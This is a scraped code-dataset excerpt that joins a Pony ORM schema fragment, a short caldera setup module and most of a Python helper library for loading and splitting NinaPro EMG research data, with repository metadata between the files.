Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Coltaxa_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Coltaxa_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Waarnemingspecimen_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Waarnemingspecimen_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Waarnemingmedia_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Waarnemingmedia_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Testspecimen_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Testspecimen_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Testmedia_import(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Testmedia_current(db.Entity): rec = Optional(Json) hash = Optional(str, index=True) datum = Required(datetime, sql_default='now()') class Deleted_records(db.Entity): recid = Required(str, index=True) status = Required(str, index=True) count = Required(int, sql_default=1) datum = Required(datetime, sql_default='now()')

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null

0

1

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9

fb853cf089a5f08ad9e122487a4b5691c91d8747

193

py

Python

caldera/_setup/__init__.py

jvrana/caldera

a346324e77f20739e00a82f97530dda4906f59dd

[ "MIT" ]

2

2021-12-13T17:52:17.000Z

2021-12-13T17:52:18.000Z

caldera/_setup/__init__.py

jvrana/caldera

a346324e77f20739e00a82f97530dda4906f59dd

[ "MIT" ]

4

2020-10-06T21:06:15.000Z

2020-10-10T01:18:23.000Z

caldera/_setup/__init__.py

jvrana/caldera

a346324e77f20739e00a82f97530dda4906f59dd

[ "MIT" ]

null

from caldera._setup.setup_nx_global_access import add_global_access_to_nx from caldera.defaults import CalderaDefaults def setup(): add_global_access_to_nx(CalderaDefaults.nx_global_key)

27.571429

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0.222222

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null

0

1

0

1

0

1

0

9

fb8f055112db1ea2b0d1602aacac4d6c0464a0b9

49,193

py

Python

nina_helper/nina_helper.py

jonDel/nina_helper_package_mk2

fc040e96fa7480f465d700d977e4cf11d6812d65

[ "MIT" ]

null

nina_helper/nina_helper.py

jonDel/nina_helper_package_mk2

fc040e96fa7480f465d700d977e4cf11d6812d65

[ "MIT" ]

null

nina_helper/nina_helper.py

jonDel/nina_helper_package_mk2

fc040e96fa7480f465d700d977e4cf11d6812d65

[ "MIT" ]

null

"""Utility functions to help with working with NinaPro database.""" import os import numpy as np import scipy.io as sio from sklearn.preprocessing import StandardScaler from itertools import combinations, chain from copy import copy def db1_info(): """Return relevant info on database 1. Returns: Dict: Useful information on database 1 """ # General Info nb_subjects = 27 nb_channels = 10 nb_moves = 53 # 52 + rest nb_reps = 10 fs = 100 # Labels rep_labels = np.array(range(1, nb_reps + 1)) move_labels = np.array(range(1, nb_moves + 1)) # Male - Female female = np.array([6, 8, 10, 14, 15, 20, 22]) male = np.array([1, 2, 3, 4, 6, 8, 10, 11, 12, 15, 16, 17, 18, 20, 22, 23, 24, 25, 26, 27]) female_ind = np.array([5, 7, 9, 13, 14, 19, 21]) male_ind = np.array([0, 1, 2, 3, 5, 7, 9, 10, 11, 14, 15, 16, 17, 19, 21, 22, 23, 24, 25, 26]) # Handedness left_handed = np.array([14, 16]) right_handed = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27]) left_handed_ind = np.array([13, 15]) right_handed_ind = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26]) # Other Info (synced) ages = np.array([31, 27, 22, 27, 27, 22, 28, 27, 23, 30, 28, 25, 27, 29, 26, 29, 30, 29, 34, 26, 38, 35, 30, 26, 28, 40, 28]) heights = np.array([170, 170, 180, 183, 178, 163, 170, 164, 173, 160, 170, 185, 184, 155, 162, 167, 175, 178, 173, 165, 178, 168, 180, 180, 180, 179, 185]) weights = np.array([75, 62, 85, 95, 75, 48, 60, 54, 63, 60, 67, 80, 85, 54, 60, 67, 76, 68, 82, 54, 73, 65, 65, 65, 70, 66, 100]) return {'nb_subjects': nb_subjects, 'nb_channels': nb_channels, 'nb_moves': nb_moves, 'nb_reps': nb_reps, 'fs': fs, 'rep_labels': rep_labels, 'move_labels': move_labels, 'female': female, 'male': male, 'female_ind': female_ind, 'male_ind': male_ind, 'left_handed': left_handed, 'right_handed': right_handed, 'left_handed_ind': left_handed_ind, 'right_handed_ind': right_handed_ind, 'ages': ages, 'heights': heights, 'weights': weights, } def db2_info(): """Return relevant info on database 2. Returns: Dict: Useful information on database 2 """ # General Info nb_subjects = 40 nb_channels = 12 nb_moves = 50 # 40 + 9 force movements + rest nb_reps = 6 fs = 2000 # Labels rep_labels = np.array(range(1, nb_reps + 1)) move_labels = np.array(range(1, nb_moves + 1)) # Male - Female female = np.array([4, 11, 14, 18, 19, 20, 22, 28, 35, 36, 38]) male = np.array([1, 2, 3, 5, 6, 7, 8, 9, 10, 12, 13, 15, 16, 17, 21, 23, 24, 25, 26, 27, 29, 30, 31, 32, 33, 34, 37, 39, 40]) female_ind = np.array([3, 10, 13, 17, 18, 19, 21, 27, 34, 35, 37]) male_ind = np.array([0, 1, 2, 4, 5, 6, 7, 8, 9, 11, 12, 14, 15, 16, 20, 22, 23, 24, 25, 26, 28, 29, 30, 31, 32, 33, 36, 38, 39]) # Handedness left_handed = np.array([4, 13, 22, 25, 26]) right_handed = np.array([1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 19, 20, 21, 23, 24, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40]) left_handed_ind = np.array([3, 12, 21, 24, 25]) right_handed_ind = np.array([0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 16, 17, 18, 19, 20, 22, 23, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39]) # Other Info (synced) ages = np.array([29, 29, 31, 30, 25, 35, 27, 45, 23, 34, 32, 29, 30, 30, 30, 34, 29, 30, 31, 26, 32, 28, 25, 28, 31, 30, 29, 29, 27, 30, 29, 28, 25, 31, 24, 27, 34, 30, 31, 31]) heights = np.array([187, 183, 174, 154, 175, 172, 187, 173, 172, 173, 150, 184, 182, 173, 169, 173, 175, 169, 158, 155, 170, 162, 170, 170, 168, 186, 170, 160, 171, 173, 185, 173, 183, 192, 170, 155, 190, 163, 183, 173]) weights = np.array([75, 75, 69, 50, 70, 79, 92, 73, 63, 84, 54, 90, 70, 59, 58, 76, 70, 90, 52, 52, 75, 54, 66, 73, 70, 90, 65, 61, 64, 68, 98, 72, 71, 78, 52, 44, 105, 62, 96, 65]) return {'nb_subjects': nb_subjects, 'nb_channels': nb_channels, 'nb_moves': nb_moves, 'nb_reps': nb_reps, 'fs': fs, 'rep_labels': rep_labels, 'move_labels': move_labels, 'female': female, 'male': male, 'female_ind': female_ind, 'male_ind': male_ind, 'left_handed': left_handed, 'right_handed': right_handed, 'left_handed_ind': left_handed_ind, 'right_handed_ind': right_handed_ind, 'ages': ages, 'heights': heights, 'weights': weights, } def db3_info(): """Return relevant info on database 3. Returns: Dict: Useful information on database 3 """ # General Info nb_subjects = 11 nb_reps = 6 fs = 2000 majority_nb_moves = 50 # General data gen_dict = { 'nb_channels': 12, 'nb_moves': majority_nb_moves, 'move_labels': np.array(range(1, majority_nb_moves+1)) } subjects_data = [] for subs in range(nb_subjects): subjects_data.append(copy(gen_dict)) # Specific electrodes used: for subs in [6, 7]: subjects_data[subs]['nb_channels'] = 10 # Specific movements used subjects_data[0]['nb_moves'] = 40 subjects_data[0]['move_labels'] = np.array(range(1, 41)) subjects_data[9]['nb_moves'] = 43 subjects_data[9]['move_labels'] = np.array(range(1, 44)) # Labels rep_labels = np.array(range(1, nb_reps + 1)) # Handedness left_handed = np.array([4]) right_handed = np.array([0, 1, 2, 3, 5, 6, 7, 8, 9, 10, 11]) # Amputated hand left_hand_amp = left_handed right_hand_amp = right_handed # Other Info (synced) ages = np.array([32, 35, 0, 34, 67, 32, 35, 33, 44, 59, 45]) heights = np.array([172, 183, 178, 166, 175, 172, 185, 175, 180, 177, 183]) weights = np.array([86, 81, 82, 68, 75, 66, 75, 80, 95, 86, 75]) rem_forearm = np.array([50, 70, 30, 40, 90, 40, 0, 50, 90, 50, 90]) years_after_amp = np.array([13, 6, 5, 1, 1, 13, 7, 5, 14, 2, 5]) amp_type = ["Accident"]*(nb_subjects-1) amp_type.append("Cancer") phant_limb_sens = np.array([2, 5, 2, 1, 2, 4, 0, 2, 5, 5, 4]) dash_score = np.array([1.67, 15.18, 22.5, 86.67, 11.67, 37.5, 31.67, 33.33, 3.33, 11.76, 12.5]) cosm_use = np.array([0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0]) kinem_use = np.array([0, 0, 8, 0, 0.4, 12, 0, 0, 0, 1.66, 5]) myo_use = np.array([13, 0, 8, 0, 0, 0, 6, 4, 14, 0, 5]) return { 'subjects': subjects_data, 'nb_subjects': nb_subjects, 'nb_reps': nb_reps, 'fs': fs, 'rep_labels': rep_labels, 'left_handed': left_handed, 'right_handed': right_handed, 'left_handed_amp': left_hand_amp, 'right_handed_amp': right_hand_amp, 'ages': ages, 'heights': heights, 'weights': weights, 'rem_forearm': rem_forearm, 'years_after_amp': years_after_amp, 'amp_type': amp_type, 'phant_limb_sens': phant_limb_sens, 'dash_score': dash_score, 'cosm_use': cosm_use, 'kinem_use': kinem_use, 'myo_use': myo_use } def import_db1(folder_path, subject, rest_length_cap=999): """Function for extracting data from raw NinaiPro files for DB1. Args: folder_path (string): Path to folder containing raw mat files subject (int): 1-27 which subject's data to import rest_length_cap (int, optional): The number of seconds of rest data to keep before/after a movement Returns: Dictionary: Raw EMG data, corresponding repetition and movement labels, indices of where repetitions are demarked and the number of repetitions with capped off rest data """ fs = 100 cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E1.mat') data = sio.loadmat(cur_path) emg = np.squeeze(np.array(data['emg'])) rep = np.squeeze(np.array(data['rerepetition'])) move = np.squeeze(np.array(data['restimulus'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E2.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) move_tmp = np.squeeze(np.array(data['restimulus'])) # Fix for numbering move_tmp[move_tmp != 0] += max(move) move = np.append(move, move_tmp) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E3.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) move_tmp = np.squeeze(np.array(data['restimulus'])) # Fix for numbering move_tmp[move_tmp != 0] += max(move) move = np.append(move, move_tmp) move = move.astype('int8') # To minimise overhead # Label repetitions using new block style: rest-move-rest regions move_regions = np.where(np.diff(move))[0] rep_regions = np.zeros((move_regions.shape[0],), dtype=int) nb_reps = int(round(move_regions.shape[0] / 2)) last_end_idx = int(round(move_regions[0] / 2)) nb_unique_reps = np.unique(rep).shape[0] - 1 # To account for 0 regions nb_capped = 0 cur_rep = 1 rep = np.zeros([rep.shape[0], ], dtype=np.int8) # Reset rep array for i in range(nb_reps - 1): rep_regions[2 * i] = last_end_idx midpoint_idx = int(round((move_regions[2 * (i + 1) - 1] + move_regions[2 * (i + 1)]) / 2)) + 1 trailing_rest_samps = midpoint_idx - move_regions[2 * (i + 1) - 1] if trailing_rest_samps <= rest_length_cap * fs: rep[last_end_idx:midpoint_idx] = cur_rep last_end_idx = midpoint_idx rep_regions[2 * i + 1] = midpoint_idx - 1 else: rep_end_idx = (move_regions[2 * (i + 1) - 1] + int(round(rest_length_cap * fs))) rep[last_end_idx:rep_end_idx] = cur_rep last_end_idx = ((move_regions[2 * (i + 1)] - int(round(rest_length_cap * fs)))) rep_regions[2 * i + 1] = rep_end_idx - 1 nb_capped += 2 cur_rep += 1 if cur_rep > nb_unique_reps: cur_rep = 1 end_idx = int(round((emg.shape[0] + move_regions[-1]) / 2)) rep[last_end_idx:end_idx] = cur_rep rep_regions[-2] = last_end_idx rep_regions[-1] = end_idx - 1 return {'emg': emg, 'rep': rep, 'move': move, 'rep_regions': rep_regions, 'nb_capped': nb_capped } def import_db1_unrefined(folder_path, subject, rest_length_cap=999): """Get the original repetition and stimulus information DB1 (repetition still aligned as rest-move-rest). Args: folder_path (string): Path to folder containing raw mat files subject (int): 1-27 which subject's data to import rest_length_cap (int, optional): The number of seconds of rest data to keep before/after a movement Returns: Dictionary: Unrefined repetition and movement labels, indices of where repetitions are demarked and the number of repetitions with capped off rest data """ fs = 100 cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E1.mat') data = sio.loadmat(cur_path) rep = np.squeeze(np.array(data['repetition'])) move = np.squeeze(np.array(data['stimulus'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E2.mat') data = sio.loadmat(cur_path) rep = np.append(rep, np.squeeze(np.array(data['repetition']))) move_tmp = np.squeeze(np.array(data['stimulus'])) # Fix for numbering move_tmp[move_tmp != 0] += max(move) move = np.append(move, move_tmp) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_A1_E3.mat') data = sio.loadmat(cur_path) rep = np.append(rep, np.squeeze(np.array(data['repetition']))) move_tmp = np.squeeze(np.array(data['stimulus'])) # Fix for numbering move_tmp[move_tmp != 0] += max(move) move = np.append(move, move_tmp) move = move.astype('int8') # To minimise overhead # Label repetitions using new block style: rest-move-rest regions move_regions = np.where(np.diff(move))[0] rep_regions = np.zeros((move_regions.shape[0],), dtype=int) nb_reps = int(round(move_regions.shape[0] / 2)) last_end_idx = int(round(move_regions[0] / 2)) nb_unique_reps = np.unique(rep).shape[0] - 1 # To account for 0 regions nb_capped = 0 cur_rep = 1 rep = np.zeros([rep.shape[0], ], dtype=np.int8) # Reset rep array for i in range(nb_reps - 1): rep_regions[2 * i] = last_end_idx midpoint_idx = int(round((move_regions[2 * (i + 1) - 1] + move_regions[2 * (i + 1)]) / 2)) + 1 trailing_rest_samps = midpoint_idx - move_regions[2 * (i + 1) - 1] if trailing_rest_samps <= rest_length_cap * fs: rep[last_end_idx:midpoint_idx] = cur_rep last_end_idx = midpoint_idx rep_regions[2 * i + 1] = midpoint_idx - 1 else: rep_end_idx = (move_regions[2 * (i + 1) - 1] + int(round(rest_length_cap * fs))) rep[last_end_idx:rep_end_idx] = cur_rep last_end_idx = ((move_regions[2 * (i + 1)] - int(round(rest_length_cap * fs)))) rep_regions[2 * i + 1] = rep_end_idx - 1 nb_capped += 2 cur_rep += 1 if cur_rep > nb_unique_reps: cur_rep = 1 end_idx = int(round((rep.shape[0] + move_regions[-1]) / 2)) rep[last_end_idx:end_idx] = cur_rep rep_regions[-2] = last_end_idx rep_regions[-1] = end_idx - 1 return {'rep': rep, 'move': move, 'rep_regions': rep_regions, 'nb_capped': nb_capped } def import_db2(folder_path, subject, rest_length_cap=999): """Function for extracting data from raw NinaiPro files for DB2. Args: folder_path (string): Path to folder containing raw mat files subject (int): 1-40 which subject's data to import rest_length_cap (int, optional): The number of seconds of rest data to keep before/after a movement Returns: Dictionary: Raw EMG data, corresponding repetition and movement labels, indices of where repetitions are demarked and the number of repetitions with capped off rest data Note: Last 9 "movements" are actually force exercises """ fs = 2000 cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E1_A1.mat') data = sio.loadmat(cur_path) emg = np.squeeze(np.array(data['emg'])) rep = np.squeeze(np.array(data['rerepetition'])) move = np.squeeze(np.array(data['restimulus'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E2_A1.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) move_tmp = np.squeeze(np.array(data['restimulus'])) move = np.append(move, move_tmp) # Note no fix needed for this exercise cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E3_A1.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) data['repetition'][-1] = 0 # Fix for diffing rep = np.append(rep, np.squeeze(np.array(data['repetition']))) # Movements number in non-logical pattern [0 1 2 4 6 8 9 16 32 40] # Also note that for last file there is no 'rerepetition or 'restimulus' data['stimulus'][-1] = 0 # Fix for diffing data['stimulus'][np.where(data['stimulus'] == 1)] = 41 data['stimulus'][np.where(data['stimulus'] == 2)] = 42 data['stimulus'][np.where(data['stimulus'] == 4)] = 43 data['stimulus'][np.where(data['stimulus'] == 6)] = 44 data['stimulus'][np.where(data['stimulus'] == 8)] = 45 data['stimulus'][np.where(data['stimulus'] == 9)] = 46 data['stimulus'][np.where(data['stimulus'] == 16)] = 47 data['stimulus'][np.where(data['stimulus'] == 32)] = 48 data['stimulus'][np.where(data['stimulus'] == 40)] = 49 move_tmp = np.squeeze(np.array(data['stimulus'])) move = np.append(move, move_tmp) move = move.astype('int8') # To minimise overhead # Label repetitions using new block style: rest-move-rest regions move_regions = np.where(np.diff(move))[0] rep_regions = np.zeros((move_regions.shape[0],), dtype=int) nb_reps = int(round(move_regions.shape[0] / 2)) last_end_idx = int(round(move_regions[0] / 2)) nb_unique_reps = np.unique(rep).shape[0] - 1 # To account for 0 regions nb_capped = 0 cur_rep = 1 rep = np.zeros([rep.shape[0], ], dtype=np.int8) # Reset rep array for i in range(nb_reps - 1): rep_regions[2 * i] = last_end_idx midpoint_idx = int(round((move_regions[2 * (i + 1) - 1] + move_regions[2 * (i + 1)]) / 2)) + 1 trailing_rest_samps = midpoint_idx - move_regions[2 * (i + 1) - 1] if trailing_rest_samps <= rest_length_cap * fs: rep[last_end_idx:midpoint_idx] = cur_rep last_end_idx = midpoint_idx rep_regions[2 * i + 1] = midpoint_idx - 1 else: rep_end_idx = (move_regions[2 * (i + 1) - 1] + int(round(rest_length_cap * fs))) rep[last_end_idx:rep_end_idx] = cur_rep last_end_idx = ((move_regions[2 * (i + 1)] - int(round(rest_length_cap * fs)))) rep_regions[2 * i + 1] = rep_end_idx - 1 nb_capped += 2 cur_rep += 1 if cur_rep > nb_unique_reps: cur_rep = 1 end_idx = int(round((emg.shape[0] + move_regions[-1]) / 2)) rep[last_end_idx:end_idx] = cur_rep rep_regions[-2] = last_end_idx rep_regions[-1] = end_idx - 1 return {'emg': emg, 'rep': rep, 'move': move, 'rep_regions': rep_regions, 'nb_capped': nb_capped } def import_db2_unrefined(folder_path, subject, rest_length_cap=999): """Get the original repetition and stimulus information DB1 (repetition still aligned as rest-move-rest). Args: folder_path (string): Path to folder containing raw mat files subject (int): 1-27 which subject's data to import rest_length_cap (int, optional): The number of seconds of rest data to keep before/after a movement Returns: Dictionary: Unrefined repetition and movement labels, indices of where repetitions are demarked and the number of repetitions with capped off rest data """ fs = 2000 cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E1_A1.mat') data = sio.loadmat(cur_path) rep = np.squeeze(np.array(data['repetition'])) move = np.squeeze(np.array(data['stimulus'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E2_A1.mat') data = sio.loadmat(cur_path) rep = np.append(rep, np.squeeze(np.array(data['repetition']))) move_tmp = np.squeeze(np.array(data['stimulus'])) move = np.append(move, move_tmp) # Note no fix needed for this exercise cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E3_A1.mat') data = sio.loadmat(cur_path) data['repetition'][-1] = 0 # Fix for diffing rep = np.append(rep, np.squeeze(np.array(data['repetition']))) # Movements number in non-logical pattern [0 1 2 4 6 8 9 16 32 40] data['stimulus'][-1] = 0 # Fix for diffing data['stimulus'][np.where(data['stimulus'] == 1)] = 41 data['stimulus'][np.where(data['stimulus'] == 2)] = 42 data['stimulus'][np.where(data['stimulus'] == 4)] = 43 data['stimulus'][np.where(data['stimulus'] == 6)] = 44 data['stimulus'][np.where(data['stimulus'] == 8)] = 45 data['stimulus'][np.where(data['stimulus'] == 9)] = 46 data['stimulus'][np.where(data['stimulus'] == 16)] = 47 data['stimulus'][np.where(data['stimulus'] == 32)] = 48 data['stimulus'][np.where(data['stimulus'] == 40)] = 49 move_tmp = np.squeeze(np.array(data['stimulus'])) move = np.append(move, move_tmp) move = move.astype('int8') # To minimise overhead # Label repetitions using new block style: rest-move-rest regions move_regions = np.where(np.diff(move))[0] rep_regions = np.zeros((move_regions.shape[0],), dtype=int) nb_reps = int(round(move_regions.shape[0] / 2)) last_end_idx = int(round(move_regions[0] / 2)) nb_unique_reps = np.unique(rep).shape[0] - 1 # To account for 0 regions nb_capped = 0 cur_rep = 1 rep = np.zeros([rep.shape[0], ], dtype=np.int8) # Reset rep array for i in range(nb_reps - 1): rep_regions[2 * i] = last_end_idx midpoint_idx = int(round((move_regions[2 * (i + 1) - 1] + move_regions[2 * (i + 1)]) / 2)) + 1 trailing_rest_samps = midpoint_idx - move_regions[2 * (i + 1) - 1] if trailing_rest_samps <= rest_length_cap * fs: rep[last_end_idx:midpoint_idx] = cur_rep last_end_idx = midpoint_idx rep_regions[2 * i + 1] = midpoint_idx - 1 else: rep_end_idx = (move_regions[2 * (i + 1) - 1] + int(round(rest_length_cap * fs))) rep[last_end_idx:rep_end_idx] = cur_rep last_end_idx = ((move_regions[2 * (i + 1)] - int(round(rest_length_cap * fs)))) rep_regions[2 * i + 1] = rep_end_idx - 1 nb_capped += 2 cur_rep += 1 if cur_rep > nb_unique_reps: cur_rep = 1 end_idx = int(round((rep.shape[0] + move_regions[-1]) / 2)) rep[last_end_idx:end_idx] = cur_rep rep_regions[-2] = last_end_idx rep_regions[-1] = end_idx - 1 return {'rep': rep, 'move': move, 'rep_regions': rep_regions, 'nb_capped': nb_capped } def import_db3(folder_path, subject, rest_length_cap=999): """Function for extracting data from raw NinaiPro files for DB3. Args: folder_path (string): Path to folder containing raw mat files subject (int): 1-11 which subject's data to import rest_length_cap (int, optional): The number of seconds of rest data to keep before/after a movement Returns: Dictionary: Raw EMG data, corresponding repetition and movement labels, indices of where repetitions are demarked and the number of repetitions with capped off rest data Note: Last 9 "movements" are actually force exercises """ fs = 2000 cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E1_A1.mat') data = sio.loadmat(cur_path) emg = np.squeeze(np.array(data['emg'])) rep = np.squeeze(np.array(data['rerepetition'])) move = np.squeeze(np.array(data['restimulus'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E2_A1.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) move_tmp = np.squeeze(np.array(data['restimulus'])) move = np.append(move, move_tmp) # Note no fix needed for this exercise last_mov = max(move) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E3_A1.mat') data = sio.loadmat(cur_path) emg = np.vstack((emg, np.array(data['emg']))) rep = np.append(rep, np.squeeze(np.array(data['rerepetition']))) data['restimulus'][np.where(data['restimulus'] == 1)] = last_mov + 1 data['restimulus'][np.where(data['restimulus'] == 2)] = last_mov + 2 data['restimulus'][np.where(data['restimulus'] == 4)] = last_mov + 3 data['restimulus'][np.where(data['restimulus'] == 6)] = last_mov + 4 data['restimulus'][np.where(data['restimulus'] == 8)] = last_mov + 5 data['restimulus'][np.where(data['restimulus'] == 9)] = last_mov + 6 data['restimulus'][np.where(data['restimulus'] == 16)] = last_mov + 7 data['restimulus'][np.where(data['restimulus'] == 32)] = last_mov + 8 data['restimulus'][np.where(data['restimulus'] == 40)] = last_mov + 9 move_tmp = np.squeeze(np.array(data['restimulus'])) move = np.append(move, move_tmp) # Note no fix needed for this exercise move = move.astype('int8') # To minimise overhead # Label repetitions using new block style: rest-move-rest regions move_regions = np.where(np.diff(move))[0] rep_regions = np.zeros((move_regions.shape[0],), dtype=int) nb_reps = int(round(move_regions.shape[0] / 2)) last_end_idx = int(round(move_regions[0] / 2)) nb_unique_reps = np.unique(rep).shape[0] - 1 # To account for 0 regions nb_capped = 0 cur_rep = 1 rep = np.zeros([rep.shape[0], ], dtype=np.int8) # Reset rep array for i in range(nb_reps - 1): rep_regions[2 * i] = last_end_idx midpoint_idx = int(round((move_regions[2 * (i + 1) - 1] + move_regions[2 * (i + 1)]) / 2)) + 1 trailing_rest_samps = midpoint_idx - move_regions[2 * (i + 1) - 1] if trailing_rest_samps <= rest_length_cap * fs: rep[last_end_idx:midpoint_idx] = cur_rep last_end_idx = midpoint_idx rep_regions[2 * i + 1] = midpoint_idx - 1 else: rep_end_idx = (move_regions[2 * (i + 1) - 1] + int(round(rest_length_cap * fs))) rep[last_end_idx:rep_end_idx] = cur_rep last_end_idx = ((move_regions[2 * (i + 1)] - int(round(rest_length_cap * fs)))) rep_regions[2 * i + 1] = rep_end_idx - 1 nb_capped += 2 cur_rep += 1 if cur_rep > nb_unique_reps: cur_rep = 1 end_idx = int(round((emg.shape[0] + move_regions[-1]) / 2)) rep[last_end_idx:end_idx] = cur_rep rep_regions[-2] = last_end_idx rep_regions[-1] = end_idx - 1 return {'emg': emg, 'rep': rep, 'move': move, 'rep_regions': rep_regions, 'nb_capped': nb_capped } def import_db2_acc(folder_path, subject): """Function for extracting acceleronmeter data from raw NinaiPro files for DB2. Args: folder_path (string): Path to folder containing raw mat files subject (int): 1-40 which subject's data to import Returns: array: Raw accceleronmeter from each electrode """ cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E1_A1.mat') data = sio.loadmat(cur_path) acc = np.squeeze(np.array(data['acc'])) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E2_A1.mat') data = sio.loadmat(cur_path) acc = np.vstack((acc, np.array(data['acc']))) cur_path = os.path.normpath(folder_path + '/S' + str(subject) + '_E3_A1.mat') data = sio.loadmat(cur_path) acc = np.vstack((acc, np.array(data['acc']))) return acc def gen_split_balanced(rep_ids, nb_test, base=None): """Create a balanced split for training and testing based on repetitions (all reps equally tested + trained on) . Args: rep_ids (array): Repetition identifiers to split nb_test (int): The number of repetitions to be used for testing in each each split base (array, optional): A specific test set to use (must be of length nb_test) Returns: Arrays: Training repetitions and corresponding test repetitions as 2D arrays [[set 1], [set 2] ..] """ nb_reps = rep_ids.shape[0] nb_splits = nb_reps train_reps = np.zeros((nb_splits, nb_reps - nb_test,), dtype=int) test_reps = np.zeros((nb_splits, nb_test), dtype=int) # Generate all possible combinations all_combos = combinations(rep_ids, nb_test) all_combos = np.fromiter(chain.from_iterable(all_combos), int) all_combos = all_combos.reshape(-1, nb_test) if base is not None: test_reps[0, :] = base all_combos = np.delete(all_combos, np.where(np.all(all_combos == base, axis=1))[0][0], axis=0) cur_split = 1 else: cur_split = 0 all_combos_copy = all_combos reset_counter = 0 while cur_split < (nb_splits): if reset_counter >= 10 or all_combos.shape[0] == 0: all_combos = all_combos_copy test_reps = np.zeros((nb_splits, nb_test), dtype=int) if base is not None: test_reps[0, :] = base cur_split = 1 else: cur_split = 0 reset_counter = 0 randomIndex = np.random.randint(0, all_combos.shape[0]) test_reps[cur_split, :] = all_combos[randomIndex, :] all_combos = np.delete(all_combos, randomIndex, axis=0) _, counts = np.unique(test_reps[:cur_split + 1], return_counts=True) if max(counts) > nb_test: test_reps[cur_split, :] = np.zeros((1, nb_test), dtype=int) reset_counter += 1 continue else: cur_split += 1 reset_counter = 0 for i in range(nb_splits): train_reps[i, :] = np.setdiff1d(rep_ids, test_reps[i, :]) return train_reps, test_reps def gen_split_rand(rep_ids, nb_test, nb_splits, base=None): """Randomly generate nb_splits out of nb_reps training-test splits. Args: rep_ids (array): Repetition identifiers to split nb_test (int): The number of repetitions to be used for testing in each each split nb_splits (int): The number of splits to produce base (array, optional): A specific test set to use (must be of length nb_test) Returns: Arrays: Training repetitions and corresponding test repetitions as 2D arrays [[set 1], [set 2] ..] """ nb_reps = rep_ids.shape[0] all_combos = combinations(rep_ids, nb_test) all_combos = np.fromiter(chain.from_iterable(all_combos), int) all_combos = all_combos.reshape(-1, nb_test) train_reps = np.zeros((nb_splits, nb_reps - nb_test,), dtype=int) test_reps = np.zeros((nb_splits, nb_test), dtype=int) cur_split = 0 if base is not None: test_reps[0, :] = base train_reps[0, :] = np.setdiff1d(rep_ids, test_reps[0, :]) all_combos = np.delete(all_combos, np.where(np.all(all_combos == base, axis=1))[0][0], axis=0) cur_split = 1 for i in range(cur_split, nb_splits): rand_idx = np.random.randint(all_combos.shape[0]) test_reps[i, :] = all_combos[rand_idx, :] train_reps[i, :] = np.setdiff1d(rep_ids, test_reps[i, :]) all_combos = np.delete(all_combos, rand_idx, axis=0) return train_reps, test_reps def normalise_emg(emg, reps, train_reps, movements=None, which_moves=None): """Preprocess train+test data to mean 0, std 1 based on training data only. Args: emg (array): Raw EMG data reps (array): Corresponding repetition information for each EMG observation train_reps (array): Which repetitions are in the training set movements (array, optional): Movement labels, required if using which_moves which_moves (array, optional): Which movements to return - if None use all Returns: array: Rescaled EMG data """ train_targets = get_idxs(reps, train_reps) # Keep only selected movement(s) if which_moves is not None and movements is not None: move_targets = get_idxs(movements[train_targets], which_moves) train_targets = train_targets[move_targets] scaler = StandardScaler(with_mean=True, with_std=True, copy=False).fit(emg[train_targets, :]) return scaler.transform(emg) def get_windows(which_reps, window_len, window_inc, emg, movements, repetitons, which_moves=None, dtype=np.float32): """Get set of windows based on repetition and movement criteria and associated label + repetition data. Args: which_reps (array): Which repetitions to return window_len (int): Desired window length window_inc (int): Desired window increment emg (array): EMG data 